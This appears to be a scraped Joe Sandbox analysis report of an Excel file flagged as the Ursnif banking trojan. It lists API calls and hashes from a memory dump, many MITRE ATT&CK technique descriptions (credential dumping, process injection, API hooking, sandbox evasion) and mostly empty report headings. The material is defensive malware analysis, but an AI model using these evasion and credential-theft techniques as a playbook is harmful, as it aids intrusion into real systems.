lstrlen.KERNEL32(?,00000000,00000000,0234A66D,00000000), ref: 02351736
lstrlen.KERNEL32(?), ref: 0235173E

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

lstrcpy.KERNEL32(00000000,?), ref: 02351755
lstrcat.KERNEL32(00000000,?), ref: 02351760

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: 6fb620eb2759c9f717c8e057a2decde3eb57c1a062122fb22f4afa789a7d1dbe
Instruction ID: dd4bc0e520b5d041e9763e07c6e5346fd7c0f3c654d2f72e1b5708ef448bd87a
Opcode Fuzzy Hash: 6fb620eb2759c9f717c8e057a2decde3eb57c1a062122fb22f4afa789a7d1dbe
Instruction Fuzzy Hash: 40E01273C05631BB8B226B68AC0CC9FBBADFF89760B058959F94593114C731D929CBD1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report xls.xls

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Ursnif

Yara Overview

Initial Sample

Memory Dumps

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "xls.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre